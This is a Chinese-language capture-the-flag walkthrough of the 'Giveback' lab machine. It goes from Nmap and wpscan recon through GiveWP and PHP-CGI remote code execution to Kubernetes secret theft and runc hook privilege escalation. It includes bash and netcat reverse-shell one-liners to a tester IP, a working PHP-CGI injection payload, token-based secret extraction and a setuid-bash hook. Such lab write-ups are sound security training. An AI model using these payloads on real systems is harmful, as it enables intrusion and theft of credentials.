本文介绍了针对名为“Giveback”的Linux服务器的渗透测试过程。首先,使用Nmap进行信息收集,发现开放的端口和服务。接着,通过WordPress漏洞扫描工具wpscan识别出一个过时的插件,利用相应的CVE进行远程代码执行,成功获得用户权限。然后,通过Kubernetes API获取和分析秘密,最终获得提升到root权限的机会。最后,介绍了通过修改配置文件的方式来实现提权,从而获取root访问权限的详细步骤。

Information Gathering (Nmap results)

# Nmap 7.95 scan initiated Wed Dec 24 15:34:22 2025 as: /usr/lib/nmap/nmap -sC -sV -v -O -oN nmap_result.txt 10.10.11.94
Nmap scan report for giveback.htb (10.10.11.94)
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 66:f8:9c:58:f4:b8:59:bd:cd:ec:92:24:c3:97:8e:9e (ECDSA)
|_  256 96:31:8a:82:1a:65:9f:0a:a2:6c:ff:4d:44:7c:d3:94 (ED25519)
80/tcp open  http    nginx 1.28.0
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-server-header: nginx/1.28.0
| http-methods:
|_  Supported Methods: GET HEAD POST
|_http-title: GIVING BACK IS WHAT MATTERS MOST – OBVI
|_http-generator: WordPress 6.8.1
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3
OS details: Linux 4.15 - 5.19, MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3)
Uptime guess: 37.282 days (since Mon Nov 17 08:48:12 2025)
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=257 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Dec 24 15:34:50 2025 -- 1 IP address (1 host up) scanned in 28.69 seconds

Vulnerability Analysis

因为是wordpress,所以可以使用wpscan

➜  Giveback wpscan --url http://giveback.htb/ -e p
[+] give
 | Location: http://giveback.htb/wp-content/plugins/give/
 | Last Updated: 2025-12-08T20:09:00.000Z
 | [!] The version is out of date, the latest version is 4.13.2
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By:
 |  Urls In 404 Page (Passive Detection)
 |  Meta Tag (Passive Detection)
 |  Javascript Var (Passive Detection)
 |
 | Version: 3.14.0 (100% confidence)
 | Found By: Query Parameter (Passive Detection)
 |  - http://giveback.htb/wp-content/plugins/give/assets/dist/css/give.css?ver=3.14.0
 | Confirmed By:
 |  Meta Tag (Passive Detection)
 |   - http://giveback.htb/, Match: 'Give v3.14.0'
 |  Javascript Var (Passive Detection)
 |   - http://giveback.htb/, Match: '"1","give_version":"3.14.0","magnific_options"'

Exploitation (User Flag)

Give v3.14.0根据搜索得到CVE-2024-5932

python CVE-2024-5932-rce.py -u http://giveback.htb/donations/the-things-we-need/ -c "bash -c 'bash -i >& /dev/tcp/10.10.16.81/4444 0>&1'"

proc/self/environ发现我们是一个在一个容器内

运行linpeas.sh

LEGACY_INTRANET_SERVICE_PORT=tcp://10.43.2.241:5000
LEGACY_INTRANET_SERVICE_PORT_5000_TCP=tcp://10.43.2.241:5000
LEGACY_INTRANET_SERVICE_PORT_5000_TCP_ADDR=10.43.2.241
LEGACY_INTRANET_SERVICE_PORT_5000_TCP_PORT=5000
LEGACY_INTRANET_SERVICE_PORT_5000_TCP_PROTO=tcp
LEGACY_INTRANET_SERVICE_SERVICE_HOST=10.43.2.241
LEGACY_INTRANET_SERVICE_SERVICE_PORT=5000
LEGACY_INTRANET_SERVICE_SERVICE_PORT_HTTP=5000

有一个 IP 为 10.43.2.241 端口为 5000 的内部服务

curl http://10.43.2.241:5000发现没有curl

发现可以运行php

php -r "echo file_get_contents('http://10.43.2.241:5000/');"

"Windows-style CGI handling was retained" (保留了 Windows 风格的 CGI 处理)
<a href="/cgi-bin/php-cgi">/cgi-bin/php-cgi</a> # 暴露cgi二进制文件
"Cluster misconfiguration" (集群配置错误)

php -r "echo file_get_contents('http://10.43.2.241:5000/cgi-bin/php-cgi?');"返回OK

搜索php-chi 发现漏洞 CVE-2012-1823,漏洞 CVE-2024-4577。可以查看一下这个博客

可以得到payload为:http://10.43.2.241:5000/cgi-bin/php-cgi?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input对于Linux而言,只需要运行Linux语言即可。

cat > 1.php << 'EOF'
<?php
// 目标 URL (Target URL)
$url = 'http://10.43.2.241:5000/cgi-bin/php-cgi?%ADd+allow_url_include%3D1+%ADd+auto_prepend_file%3Dphp://input';

// 准备 POST 数据
// Payload 必须是合法的 PHP 代码
$data = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.125 4444 >/tmp/f';

// 创建流上下文选项 (Stream Context Options)
$opts = array(
    'http' => array(
        'method'  => 'POST',
        'header'  => 'Content-type: application/x-www-form-urlencoded',
        'content' => $data
    )
);

// stream_context_create: 创建资源流上下文
$context  = stream_context_create($opts);

// 发送请求并获取结果
$result = file_get_contents($url, false, $context);

if ($result === FALSE) {
    echo "请求失败\n";
} else {
    echo $result;
}
?>
EOF

漏洞原理总结

这个脚本利用了 PHP-CGI 的命令行参数注入漏洞

  1. 在 CGI 模式下,URL 查询参数会被误当作命令行参数传递给 php-cgi
  2. 攻击者通过 -define 修改 PHP 配置
  3. 设置 auto_prepend_file=php://input 让 PHP 执行 POST 体中的代码
  4. 最终获得目标服务器的反弹 Shell

即可得到shell

进入后似乎又是一个容器,但是这次可以使用很多命令

$ env
KUBERNETES_SERVICE_PORT=443
KUBERNETES_PORT=tcp://10.43.0.1:443
HOSTNAME=legacy-intranet-cms-6f7bf5db84-zcx88

关于Kubernetes可以看下面的blog

其中

# List secrets in all namespaces
kubectl get secrets --all-namespaces

# Get secret details
kubectl describe secret secret-name -n namespace

# Using API
curl https://target.com:6443/api/v1/namespaces/default/secrets \
  -H "Authorization: Bearer TOKEN" --insecure

所以可以使用

TOKEN=$(cat /run/secrets/kubernetes.io/serviceaccount/token)
curl -sSk -H "Authorization: Bearer $TOKEN" https://10.43.0.1/api/v1/namespaces/default/secrets | jq -r '.items[].metadata.name'
# 得到user-secret-babywyrm

curl -H "Authorization: Bearer $TOKEN" https://10.43.0.1/api/v1/namespaces/default/secrets/user-secret-babywyrm -k查看用户信息

得到密码

$ echo 'TUV0a2xHcDhTNTduZ3VFbk9pa053RklXZk91aEQ0Mw==' | base64 -d
MEtklGp8S57nguEnOikNwFIWfOuhD43

使用密码进入shell,终于得到了user

curl -sSk -H "Authorization: Bearer $TOKEN" https://10.43.0.1/api/v1/namespaces/default/secrets/beta-vino-wp-mariadb
curl -sSk -H "Authorization: Bearer $TOKEN" https://10.43.0.1/api/v1/namespaces/default/secrets/beta-vino-wp-wordpress

继续得到密码

sW5sp4spa3u7RLyetrekE4oS

sW5sp4syetre32828383kE4oS

O8F7KR5zGi

Privilege Escalation (Root Flag)

babywyrm@giveback:~$ sudo -l
Matching Defaults entries for babywyrm on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty, timestamp_timeout=0, timestamp_timeout=20

User babywyrm may run the following commands on localhost:
    (ALL) NOPASSWD: !ALL
    (ALL) /opt/debug
babywyrm@giveback:~$ sudo debug
sudo: debug: command not found
babywyrm@giveback:~$ sudo /opt/debug
[sudo] password for babywyrm:
[*] Validating sudo privileges...
[*] Sudo validation successful
Please enter the administrative password:
# 输入密码sW5sp4spa3u7RLyetrekE4oS
Error: No command specified. Use '/opt/debug --help' for usage information.

babywyrm@giveback:~$ sudo /opt/debug --help
[*] Validating sudo privileges...
[*] Sudo validation successful
Please enter the administrative password:

[*] Administrative password verified
[*] Processing command: --help
Restricted runc Debug Wrapper

Usage:
  /opt/debug [flags] spec
  /opt/debug [flags] run <id>
  /opt/debug version | --version | -v

Flags:
  --log <file>
  --root <path>
  --debug
babywyrm@giveback:/tmp/rootfs$ sudo /opt/debug spec
[*] Validating sudo privileges...
[*] Sudo validation successful
Please enter the administrative password:

[*] Administrative password verified
[*] Processing command: spec
babywyrm@giveback:/tmp/rootfs$ ls -la
total 12
drwxrwxr-x  2 babywyrm babywyrm 4096 Dec 24 14:39 .
drwxrwxrwt 13 root     root     4096 Dec 24 14:39 ..
-rw-r--r--  1 root     root     3025 Dec 24 14:39 config.json

这个文件在我们的文件夹内,这个工具底层封装的是 runc所以思路:

读取config.json—>删除config.json—>添加恶意钩子—>生成新文件—>运行即可

import json
import os

# 读取
with open("config.json", "r") as f:
    data = json.load(f)
# 添加
data["hooks"] = {
    "prestart": [
        {
            "path": "/bin/sh",
            "args": ["sh", "-c", "chmod +s /bin/bash"],
            "env": []
        }
    ]
}
# 移除
os.remove("config.json")
# 
with open("config.json", "w") as f:
    json.dump(data, f)

最终如下

$ babywyrm@giveback:/tmp/rootfs$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1396520 Mar 14  2024 /bin/bash
$ babywyrm@giveback:/tmp/rootfs$ mkdir rootfs
$ babywyrm@giveback:/tmp/rootfs$ ls
change.py  config.json  rootfs
$ babywyrm@giveback:/tmp/rootfs$ sudo /opt/debug run pwn
[*] Validating sudo privileges...
[*] Sudo validation successful
Please enter the administrative password:

[*] Administrative password verified
[*] Processing command: run
[*] Starting container: pwn
ERRO[0000] runc run failed: unable to start container process: exec: "/bin/sh": stat /bin/sh: no such file or directory
$ babywyrm@giveback:/tmp/rootfs$ ls -la /bin/bash
-rwsr-sr-x 1 root root 1396520 Mar 14  2024 /bin/bash
$ babywyrm@giveback:/tmp/rootfs$ /bin/bash -p
bash-5.1# id
uid=1000(babywyrm) gid=1000(babywyrm) euid=0(root) egid=0(root) groups=0(root),1000(babywyrm)

Lessons Learned

进入第一个shell枚举发现文件/opt/bitnami/wordpress/wp-config.php中包含数据库凭据

// ** Database settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'bitnami_wordpress' );

/** Database username */
define( 'DB_USER', 'bn_wordpress' );

/** Database password */
define( 'DB_PASSWORD', 'sW5sp4spa3u7RLyetrekE4oS' );

/** Database hostname */
define( 'DB_HOST', 'beta-vino-wp-mariadb:3306' );

/** Database charset to use in creating database tables. */
define( 'DB_CHARSET', 'utf8' );

/** The database collate type. Don't change this if in doubt. */
define( 'DB_COLLATE', '' );

mysql -h beta-vino-wp-mariadb -P 3306 -u bn_wordpress -p bitnami_wordpress

  • -p:指定输入密码
  • bitnami_wordpress:进入直接使用的数据库

枚举数据库得到user:$P$Bm1D6gJHKylnyyTeT0oYNGKpib//vP.

破解不出来这个hash。

O8F7KR5zGiI have no name!@beta-vino-wp-wordpress-7b9d98d8d6-4jqln:/secrets$ ls
mariadb-password  mariadb-root-password  wordpress-password

这三个文件也不行。